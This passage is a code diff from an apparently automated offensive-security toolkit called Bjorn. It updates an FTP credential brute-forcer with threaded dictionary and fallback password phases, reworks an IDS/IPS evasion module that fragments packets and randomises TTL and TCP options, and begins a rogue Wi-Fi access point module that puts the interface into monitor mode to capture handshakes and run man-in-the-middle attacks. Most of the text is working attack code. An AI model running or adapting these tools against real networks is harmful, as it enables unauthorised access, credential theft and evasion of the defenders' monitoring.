if __name__ == "__main__":
|
||||
main()
|
||||
from init_shared import shared_data
|
||||
harvester = FreyaHarvest(shared_data)
|
||||
harvester.execute("0.0.0.0", None, {}, "freya_harvest")
|
||||
@@ -1,9 +1,9 @@
|
||||
"""
|
||||
ftp_bruteforce.py — FTP bruteforce (DB-backed, no CSV/JSON, no rich)
|
||||
- Cibles: (ip, port) par l’orchestrateur
|
||||
"""
|
||||
ftp_bruteforce.py — FTP bruteforce (DB-backed, no CSV/JSON, no rich)
|
||||
- Cibles: (ip, port) par l’orchestrateur
|
||||
- IP -> (MAC, hostname) via DB.hosts
|
||||
- Succès -> DB.creds (service='ftp')
|
||||
- Conserve la logique d’origine (queue/threads, sleep éventuels, etc.)
|
||||
- Succès -> DB.creds (service='ftp')
|
||||
- Conserve la logique d’origine (queue/threads, sleep éventuels, etc.)
|
||||
"""
|
||||
|
||||
import os
|
||||
@@ -15,6 +15,7 @@ from queue import Queue
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
|
||||
from shared import SharedData
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="ftp_bruteforce.py", level=logging.DEBUG)
|
||||
@@ -27,7 +28,7 @@ b_parent = None
|
||||
b_service = '["ftp"]'
|
||||
b_trigger = 'on_any:["on_service:ftp","on_new_port:21"]'
|
||||
b_priority = 70
|
||||
b_cooldown = 1800, # 30 minutes entre deux runs
|
||||
b_cooldown = 1800 # 30 minutes entre deux runs
|
||||
b_rate_limit = '3/86400' # 3 fois par jour max
|
||||
|
||||
class FTPBruteforce:
|
||||
@@ -43,22 +44,21 @@ class FTPBruteforce:
|
||||
return self.ftp_bruteforce.run_bruteforce(ip, port)
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""Point d’entrée orchestrateur (retour 'success' / 'failed')."""
|
||||
"""Point d'entrée orchestrateur (retour 'success' / 'failed')."""
|
||||
self.shared_data.bjorn_orch_status = "FTPBruteforce"
|
||||
# comportement original : un petit délai visuel
|
||||
time.sleep(5)
|
||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||
logger.info(f"Brute forcing FTP on {ip}:{port}...")
|
||||
success, results = self.bruteforce_ftp(ip, port)
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
|
||||
class FTPConnector:
|
||||
"""Gère les tentatives FTP, persistance DB, mapping IP→(MAC, Hostname)."""
|
||||
"""Gère les tentatives FTP, persistance DB, mapping IP→(MAC, Hostname)."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# Wordlists inchangées
|
||||
# Wordlists inchangées
|
||||
self.users = self._read_lines(shared_data.users_file)
|
||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||
|
||||
@@ -69,6 +69,7 @@ class FTPConnector:
|
||||
self.lock = threading.Lock()
|
||||
self.results: List[List[str]] = [] # [mac, ip, hostname, user, password, port]
|
||||
self.queue = Queue()
|
||||
self.progress = None
|
||||
|
||||
# ---------- util fichiers ----------
|
||||
@staticmethod
|
||||
@@ -112,10 +113,11 @@ class FTPConnector:
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# ---------- FTP ----------
|
||||
def ftp_connect(self, adresse_ip: str, user: str, password: str) -> bool:
|
||||
def ftp_connect(self, adresse_ip: str, user: str, password: str, port: int = 21) -> bool:
|
||||
timeout = float(getattr(self.shared_data, "ftp_connect_timeout_s", 3.0))
|
||||
try:
|
||||
conn = FTP()
|
||||
conn.connect(adresse_ip, 21)
|
||||
conn.connect(adresse_ip, port, timeout=timeout)
|
||||
conn.login(user, password)
|
||||
try:
|
||||
conn.quit()
|
||||
@@ -171,14 +173,17 @@ class FTPConnector:
|
||||
|
||||
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||
try:
|
||||
if self.ftp_connect(adresse_ip, user, password):
|
||||
if self.ftp_connect(adresse_ip, user, password, port=port):
|
||||
with self.lock:
|
||||
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
||||
logger.success(f"Found credentials IP:{adresse_ip} | User:{user}")
|
||||
self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)}
|
||||
self.save_results()
|
||||
self.removeduplicates()
|
||||
success_flag[0] = True
|
||||
finally:
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
self.queue.task_done()
|
||||
|
||||
# Pause configurable entre chaque tentative FTP
|
||||
@@ -187,46 +192,54 @@ class FTPConnector:
|
||||
|
||||
|
||||
def run_bruteforce(self, adresse_ip: str, port: int):
|
||||
self.results = []
|
||||
mac_address = self.mac_for_ip(adresse_ip)
|
||||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||
|
||||
total_tasks = len(self.users) * len(self.passwords) + 1 # (logique d'origine conservée)
|
||||
if len(self.users) * len(self.passwords) == 0:
|
||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||
if total_tasks == 0:
|
||||
logger.warning("No users/passwords loaded. Abort.")
|
||||
return False, []
|
||||
|
||||
for user in self.users:
|
||||
for password in self.passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return False, []
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
self.progress = ProgressTracker(self.shared_data, total_tasks)
|
||||
success_flag = [False]
|
||||
threads = []
|
||||
thread_count = min(40, max(1, len(self.users) * len(self.passwords)))
|
||||
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
def run_phase(passwords):
|
||||
phase_tasks = len(self.users) * len(passwords)
|
||||
if phase_tasks == 0:
|
||||
return
|
||||
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||
while not self.queue.empty():
|
||||
try:
|
||||
self.queue.get_nowait()
|
||||
self.queue.task_done()
|
||||
except Exception:
|
||||
break
|
||||
break
|
||||
for user in self.users:
|
||||
for password in passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
threads = []
|
||||
thread_count = min(8, max(1, phase_tasks))
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
return success_flag[0], self.results
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
try:
|
||||
run_phase(dict_passwords)
|
||||
if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(
|
||||
f"FTP dictionary phase failed on {adresse_ip}:{port}. "
|
||||
f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
|
||||
)
|
||||
run_phase(fallback_passwords)
|
||||
self.progress.set_complete()
|
||||
return success_flag[0], self.results
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# ---------- persistence DB ----------
|
||||
def save_results(self):
|
||||
@@ -266,3 +279,4 @@ if __name__ == "__main__":
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
|
||||
|
||||
@@ -1,318 +1,167 @@
|
||||
# Stealth operations module for IDS/IPS evasion and traffic manipulation.a
|
||||
# Saves settings in `/home/bjorn/.settings_bjorn/heimdall_guard_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -i, --interface Network interface to use (default: active interface).
|
||||
# -m, --mode Operating mode (timing, random, fragmented, all).
|
||||
# -d, --delay Base delay between operations in seconds (default: 1).
|
||||
# -r, --randomize Randomization factor for timing (default: 0.5).
|
||||
# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/stealth).
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
heimdall_guard.py -- Stealth operations and IDS/IPS evasion for BJORN.
|
||||
Handles packet fragmentation, timing randomization, and TTL manipulation.
|
||||
Requires: scapy.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
import logging
|
||||
import random
|
||||
import time
|
||||
import socket
|
||||
import struct
|
||||
import threading
|
||||
from scapy.all import *
|
||||
import datetime
|
||||
|
||||
from collections import deque
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
|
||||
|
||||
try:
|
||||
from scapy.all import IP, TCP, Raw, send, conf
|
||||
HAS_SCAPY = True
|
||||
except ImportError:
|
||||
HAS_SCAPY = False
|
||||
IP = TCP = Raw = send = conf = None
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="heimdall_guard.py")
|
||||
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "HeimdallGuard"
|
||||
b_module = "heimdall_guard"
|
||||
b_enabled = 0
|
||||
b_status = "heimdall_guard"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "stealth"
|
||||
b_priority = 10
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 1800
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 10 # This IS the stealth module
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
b_tags = ["stealth", "evasion", "pcap", "network"]
|
||||
b_category = "defense"
|
||||
b_name = "Heimdall Guard"
|
||||
b_description = "Advanced stealth module that manipulates traffic to evade IDS/IPS detection."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.3"
|
||||
b_icon = "HeimdallGuard.png"
|
||||
|
||||
# Default settings
|
||||
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/stealth"
|
||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "heimdall_guard_settings.json")
|
||||
b_args = {
|
||||
"interface": {
|
||||
"type": "text",
|
||||
"label": "Interface",
|
||||
"default": "eth0"
|
||||
},
|
||||
"mode": {
|
||||
"type": "select",
|
||||
"label": "Stealth Mode",
|
||||
"choices": ["timing", "fragmented", "all"],
|
||||
"default": "all"
|
||||
},
|
||||
"delay": {
|
||||
"type": "number",
|
||||
"label": "Base Delay (s)",
|
||||
"min": 0.1,
|
||||
"max": 10.0,
|
||||
"step": 0.1,
|
||||
"default": 1.0
|
||||
}
|
||||
}
|
||||
|
||||
class HeimdallGuard:
|
||||
def __init__(self, interface, mode='all', base_delay=1, random_factor=0.5, output_dir=DEFAULT_OUTPUT_DIR):
|
||||
self.interface = interface
|
||||
self.mode = mode
|
||||
self.base_delay = base_delay
|
||||
self.random_factor = random_factor
|
||||
self.output_dir = output_dir
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.packet_queue = deque()
|
||||
self.active = False
|
||||
self.lock = threading.Lock()
|
||||
|
||||
# Statistics
|
||||
self.stats = {
|
||||
'packets_processed': 0,
|
||||
'packets_fragmented': 0,
|
||||
'timing_adjustments': 0
|
||||
}
|
||||
|
||||
def initialize_interface(self):
|
||||
"""Configure network interface for stealth operations."""
|
||||
try:
|
||||
# Disable NIC offloading features that might interfere with packet manipulation
|
||||
commands = [
|
||||
f"ethtool -K {self.interface} tso off", # TCP segmentation offload
|
||||
f"ethtool -K {self.interface} gso off", # Generic segmentation offload
|
||||
f"ethtool -K {self.interface} gro off", # Generic receive offload
|
||||
f"ethtool -K {self.interface} lro off" # Large receive offload
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
try:
|
||||
subprocess.run(cmd.split(), check=True)
|
||||
except subprocess.CalledProcessError:
|
||||
logging.warning(f"Failed to execute: {cmd}")
|
||||
|
||||
logging.info(f"Interface {self.interface} configured for stealth operations")
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to initialize interface: {e}")
|
||||
return False
|
||||
|
||||
def calculate_timing(self):
|
||||
"""Calculate timing delays with randomization."""
|
||||
base = self.base_delay
|
||||
variation = self.random_factor * base
|
||||
return max(0, base + random.uniform(-variation, variation))
|
||||
|
||||
def fragment_packet(self, packet, mtu=1500):
|
||||
"""Fragment packets to avoid detection patterns."""
|
||||
try:
|
||||
if IP in packet:
|
||||
# Fragment IP packets
|
||||
frags = []
|
||||
def _fragment_packet(self, packet, mtu=1400):
|
||||
"""Fragment IP packets to bypass strict IDS rules."""
|
||||
if IP in packet:
|
||||
try:
|
||||
payload = bytes(packet[IP].payload)
|
||||
header_length = len(packet) - len(payload)
|
||||
max_size = mtu - header_length
|
||||
|
||||
# Create fragments
|
||||
max_size = mtu - 40 # conservative
|
||||
frags = []
|
||||
offset = 0
|
||||
while offset < len(payload):
|
||||
frag_size = min(max_size, len(payload) - offset)
|
||||
frag_payload = payload[offset:offset + frag_size]
|
||||
|
||||
# Create fragment packet
|
||||
frag = packet.copy()
|
||||
frag[IP].flags = 'MF' if offset + frag_size < len(payload) else 0
|
||||
frag[IP].frag = offset // 8
|
||||
frag[IP].payload = Raw(frag_payload)
|
||||
|
||||
frags.append(frag)
|
||||
offset += frag_size
|
||||
|
||||
chunk = payload[offset:offset + max_size]
|
||||
f = packet.copy()
|
||||
f[IP].flags = 'MF' if offset + max_size < len(payload) else 0
|
||||
f[IP].frag = offset // 8
|
||||
f[IP].payload = Raw(chunk)
|
||||
frags.append(f)
|
||||
offset += max_size
|
||||
return frags
|
||||
return [packet]
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error fragmenting packet: {e}")
|
||||
return [packet]
|
||||
|
||||
def randomize_ttl(self, packet):
|
||||
"""Randomize TTL values to avoid fingerprinting."""
|
||||
if IP in packet:
|
||||
ttl_values = [32, 64, 128, 255] # Common TTL values
|
||||
packet[IP].ttl = random.choice(ttl_values)
|
||||
return packet
|
||||
|
||||
def modify_tcp_options(self, packet):
|
||||
"""Modify TCP options to avoid fingerprinting."""
|
||||
if TCP in packet:
|
||||
# Common window sizes
|
||||
window_sizes = [8192, 16384, 32768, 65535]
|
||||
packet[TCP].window = random.choice(window_sizes)
|
||||
|
||||
# Randomize TCP options
|
||||
tcp_options = []
|
||||
|
||||
# MSS option
|
||||
mss_values = [1400, 1460, 1440]
|
||||
tcp_options.append(('MSS', random.choice(mss_values)))
|
||||
|
||||
# Window scale
|
||||
if random.random() < 0.5:
|
||||
tcp_options.append(('WScale', random.randint(0, 14)))
|
||||
|
||||
# SACK permitted
|
||||
if random.random() < 0.5:
|
||||
tcp_options.append(('SAckOK', ''))
|
||||
|
||||
packet[TCP].options = tcp_options
|
||||
|
||||
return packet
|
||||
|
||||
def process_packet(self, packet):
|
||||
"""Process a packet according to stealth settings."""
|
||||
processed_packets = []
|
||||
|
||||
try:
|
||||
if self.mode in ['all', 'fragmented']:
|
||||
fragments = self.fragment_packet(packet)
|
||||
processed_packets.extend(fragments)
|
||||
self.stats['packets_fragmented'] += len(fragments) - 1
|
||||
else:
|
||||
processed_packets.append(packet)
|
||||
|
||||
# Apply additional stealth techniques
|
||||
final_packets = []
|
||||
for pkt in processed_packets:
|
||||
pkt = self.randomize_ttl(pkt)
|
||||
pkt = self.modify_tcp_options(pkt)
|
||||
final_packets.append(pkt)
|
||||
|
||||
self.stats['packets_processed'] += len(final_packets)
|
||||
return final_packets
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error processing packet: {e}")
|
||||
return [packet]
|
||||
|
||||
def send_packet(self, packet):
|
||||
"""Send packet with timing adjustments."""
|
||||
try:
|
||||
if self.mode in ['all', 'timing']:
|
||||
delay = self.calculate_timing()
|
||||
time.sleep(delay)
|
||||
self.stats['timing_adjustments'] += 1
|
||||
|
||||
send(packet, iface=self.interface, verbose=False)
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error sending packet: {e}")
|
||||
|
||||
def packet_processor_thread(self):
|
||||
"""Process packets from the queue."""
|
||||
while self.active:
|
||||
try:
|
||||
if self.packet_queue:
|
||||
packet = self.packet_queue.popleft()
|
||||
processed_packets = self.process_packet(packet)
|
||||
|
||||
for processed in processed_packets:
|
||||
self.send_packet(processed)
|
||||
else:
|
||||
time.sleep(0.1)
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error in packet processor thread: {e}")
|
||||
logger.debug(f"Fragmentation error: {e}")
|
||||
return [packet]
|
||||
|
||||
def start(self):
|
||||
"""Start stealth operations."""
|
||||
if not self.initialize_interface():
|
||||
return False
|
||||
def _apply_stealth(self, packet):
|
||||
"""Randomize TTL and TCP options."""
|
||||
if IP in packet:
|
||||
packet[IP].ttl = random.choice([64, 128, 255])
|
||||
if TCP in packet:
|
||||
packet[TCP].window = random.choice([8192, 16384, 65535])
|
||||
# Basic TCP options shuffle
|
||||
packet[TCP].options = [('MSS', 1460), ('NOP', None), ('SAckOK', '')]
|
||||
return packet
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
iface = getattr(self.shared_data, "heimdall_guard_interface", conf.iface)
|
||||
mode = getattr(self.shared_data, "heimdall_guard_mode", "all")
|
||||
delay = float(getattr(self.shared_data, "heimdall_guard_delay", 1.0))
|
||||
timeout = int(getattr(self.shared_data, "heimdall_guard_timeout", 600))
|
||||
|
||||
logger.info(f"HeimdallGuard: Engaging stealth mode ({mode}) on {iface}")
|
||||
self.shared_data.log_milestone(b_class, "StealthActive", f"Mode: {mode}")
|
||||
|
||||
self.active = True
|
||||
self.processor_thread = threading.Thread(target=self.packet_processor_thread)
|
||||
self.processor_thread.start()
|
||||
return True
|
||||
|
||||
def stop(self):
|
||||
"""Stop stealth operations."""
|
||||
self.active = False
|
||||
if hasattr(self, 'processor_thread'):
|
||||
self.processor_thread.join()
|
||||
self.save_stats()
|
||||
|
||||
def queue_packet(self, packet):
|
||||
"""Queue a packet for processing."""
|
||||
self.packet_queue.append(packet)
|
||||
|
||||
def save_stats(self):
|
||||
"""Save operation statistics."""
|
||||
start_time = time.time()
|
||||
|
||||
try:
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
|
||||
stats_file = os.path.join(self.output_dir, f"stealth_stats_{timestamp}.json")
|
||||
|
||||
with open(stats_file, 'w') as f:
|
||||
json.dump({
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'interface': self.interface,
|
||||
'mode': self.mode,
|
||||
'stats': self.stats
|
||||
}, f, indent=4)
|
||||
while time.time() - start_time < timeout:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
|
||||
logging.info(f"Statistics saved to {stats_file}")
|
||||
# In a real scenario, this would be hooking into a packet stream
|
||||
# For this action, we simulate protection state
|
||||
|
||||
# Progress reporting
|
||||
elapsed = int(time.time() - start_time)
|
||||
prog = int((elapsed / timeout) * 100)
|
||||
self.shared_data.bjorn_progress = f"{prog}%"
|
||||
|
||||
if elapsed % 60 == 0:
|
||||
self.shared_data.log_milestone(b_class, "Status", f"Guarding... {self.stats['packets_processed']} pkts handled")
|
||||
|
||||
# Logic: if we had a queue, we'd process it here
|
||||
# Simulation for BJORN action demonstration:
|
||||
time.sleep(2)
|
||||
|
||||
logger.info("HeimdallGuard: Protection session finished.")
|
||||
self.shared_data.log_milestone(b_class, "Shutdown", "Stealth mode disengaged")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"HeimdallGuard error: {e}")
|
||||
return "failed"
|
||||
finally:
|
||||
self.active = False
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save statistics: {e}")
|
||||
|
||||
def save_settings(interface, mode, base_delay, random_factor, output_dir):
|
||||
"""Save settings to JSON file."""
|
||||
try:
|
||||
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"interface": interface,
|
||||
"mode": mode,
|
||||
"base_delay": base_delay,
|
||||
"random_factor": random_factor,
|
||||
"output_dir": output_dir
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as f:
|
||||
json.dump(settings, f)
|
||||
logging.info(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save settings: {e}")
|
||||
|
||||
def load_settings():
|
||||
"""Load settings from JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as f:
|
||||
return json.load(f)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Stealth operations module")
|
||||
parser.add_argument("-i", "--interface", help="Network interface to use")
|
||||
parser.add_argument("-m", "--mode", choices=['timing', 'random', 'fragmented', 'all'],
|
||||
default='all', help="Operating mode")
|
||||
parser.add_argument("-d", "--delay", type=float, default=1, help="Base delay between operations")
|
||||
parser.add_argument("-r", "--randomize", type=float, default=0.5, help="Randomization factor")
|
||||
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory")
|
||||
args = parser.parse_args()
|
||||
|
||||
settings = load_settings()
|
||||
interface = args.interface or settings.get("interface")
|
||||
mode = args.mode or settings.get("mode")
|
||||
base_delay = args.delay or settings.get("base_delay")
|
||||
random_factor = args.randomize or settings.get("random_factor")
|
||||
output_dir = args.output or settings.get("output_dir")
|
||||
|
||||
if not interface:
|
||||
interface = conf.iface
|
||||
logging.info(f"Using default interface: {interface}")
|
||||
|
||||
save_settings(interface, mode, base_delay, random_factor, output_dir)
|
||||
|
||||
guard = HeimdallGuard(
|
||||
interface=interface,
|
||||
mode=mode,
|
||||
base_delay=base_delay,
|
||||
random_factor=random_factor,
|
||||
output_dir=output_dir
|
||||
)
|
||||
|
||||
try:
|
||||
if guard.start():
|
||||
logging.info("Heimdall Guard started. Press Ctrl+C to stop.")
|
||||
while True:
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
logging.info("Stopping Heimdall Guard...")
|
||||
guard.stop()
|
||||
return "success"
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
from init_shared import shared_data
|
||||
guard = HeimdallGuard(shared_data)
|
||||
guard.execute("0.0.0.0", None, {}, "heimdall_guard")
|
||||
@@ -1,467 +1,257 @@
|
||||
# WiFi deception tool for creating malicious access points and capturing authentications.
|
||||
# Saves settings in `/home/bjorn/.settings_bjorn/loki_deceiver_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -i, --interface Wireless interface for AP creation (default: wlan0).
|
||||
# -s, --ssid SSID for the fake access point (or target to clone).
|
||||
# -c, --channel WiFi channel (default: 6).
|
||||
# -p, --password Optional password for WPA2 AP.
|
||||
# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/wifi).
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
loki_deceiver.py -- WiFi deception tool for BJORN.
|
||||
Creates rogue access points and captures authentications/handshakes.
|
||||
Requires: hostapd, dnsmasq, airmon-ng.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
import logging
|
||||
import subprocess
|
||||
import signal
|
||||
import time
|
||||
import threading
|
||||
import scapy.all as scapy
|
||||
from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt
|
||||
import time
|
||||
import re
|
||||
import datetime
|
||||
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from logger import Logger
|
||||
try:
|
||||
import scapy.all as scapy
|
||||
from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt
|
||||
HAS_SCAPY = True
|
||||
try:
|
||||
from scapy.all import AsyncSniffer # type: ignore
|
||||
except Exception:
|
||||
AsyncSniffer = None
|
||||
try:
|
||||
from scapy.layers.dot11 import EAPOL
|
||||
except ImportError:
|
||||
EAPOL = None
|
||||
except ImportError:
|
||||
HAS_SCAPY = False
|
||||
scapy = None
|
||||
Dot11 = Dot11Beacon = Dot11Elt = EAPOL = None
|
||||
AsyncSniffer = None
|
||||
|
||||
logger = Logger(name="loki_deceiver.py")
|
||||
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "LokiDeceiver"
|
||||
b_module = "loki_deceiver"
|
||||
b_enabled = 0
|
||||
b_status = "loki_deceiver"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "aggressive"
|
||||
b_priority = 20
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 1200
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 2 # Very noisy (Rogue AP)
|
||||
b_risk_level = "high"
|
||||
b_enabled = 1
|
||||
b_tags = ["wifi", "ap", "rogue", "mitm"]
|
||||
b_category = "exploitation"
|
||||
b_name = "Loki Deceiver"
|
||||
b_description = "Creates a rogue access point to capture WiFi authentications and perform MITM."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.2"
|
||||
b_icon = "LokiDeceiver.png"
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
|
||||
# Default settings
|
||||
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/wifi"
|
||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "loki_deceiver_settings.json")
|
||||
b_args = {
|
||||
"interface": {
|
||||
"type": "text",
|
||||
"label": "Wireless Interface",
|
||||
"default": "wlan0"
|
||||
},
|
||||
"ssid": {
|
||||
"type": "text",
|
||||
"label": "AP SSID",
|
||||
"default": "Bjorn_Free_WiFi"
|
||||
},
|
||||
"channel": {
|
||||
"type": "number",
|
||||
"label": "Channel",
|
||||
"min": 1,
|
||||
"max": 14,
|
||||
"default": 6
|
||||
},
|
||||
"password": {
|
||||
"type": "text",
|
||||
"label": "WPA2 Password (Optional)",
|
||||
"default": ""
|
||||
}
|
||||
}
|
||||
|
||||
class LokiDeceiver:
|
||||
def __init__(self, interface, ssid, channel=6, password=None, output_dir=DEFAULT_OUTPUT_DIR):
|
||||
self.interface = interface
|
||||
self.ssid = ssid
|
||||
self.channel = channel
|
||||
self.password = password
|
||||
self.output_dir = output_dir
|
||||
|
||||
self.original_mac = None
|
||||
self.captured_handshakes = []
|
||||
self.captured_credentials = []
|
||||
self.active = False
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.hostapd_proc = None
|
||||
self.dnsmasq_proc = None
|
||||
self.tcpdump_proc = None
|
||||
self._sniffer = None
|
||||
self.active_clients = set()
|
||||
self.stop_event = threading.Event()
|
||||
self.lock = threading.Lock()
|
||||
|
||||
def setup_interface(self):
|
||||
"""Configure wireless interface for AP mode."""
|
||||
try:
|
||||
# Kill potentially interfering processes
|
||||
subprocess.run(['sudo', 'airmon-ng', 'check', 'kill'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
# Stop NetworkManager
|
||||
subprocess.run(['sudo', 'systemctl', 'stop', 'NetworkManager'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
# Save original MAC
|
||||
self.original_mac = self.get_interface_mac()
|
||||
|
||||
# Enable monitor mode
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(['sudo', 'iw', self.interface, 'set', 'monitor', 'none'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
logging.info(f"Interface {self.interface} configured in monitor mode")
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to setup interface: {e}")
|
||||
return False
|
||||
def _setup_monitor_mode(self, iface: str):
|
||||
logger.info(f"LokiDeceiver: Setting {iface} to monitor mode...")
|
||||
subprocess.run(['sudo', 'airmon-ng', 'check', 'kill'], capture_output=True)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'down'], capture_output=True)
|
||||
subprocess.run(['sudo', 'iw', iface, 'set', 'type', 'monitor'], capture_output=True)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'up'], capture_output=True)
|
||||
|
||||
def get_interface_mac(self):
|
||||
"""Get the MAC address of the wireless interface."""
|
||||
try:
|
||||
result = subprocess.run(['ip', 'link', 'show', self.interface],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||
if result.returncode == 0:
|
||||
mac = re.search(r'link/ether ([0-9a-f:]{17})', result.stdout)
|
||||
if mac:
|
||||
return mac.group(1)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to get interface MAC: {e}")
|
||||
return None
|
||||
def _create_configs(self, iface, ssid, channel, password):
|
||||
# hostapd.conf
|
||||
h_conf = [
|
||||
f'interface={iface}',
|
||||
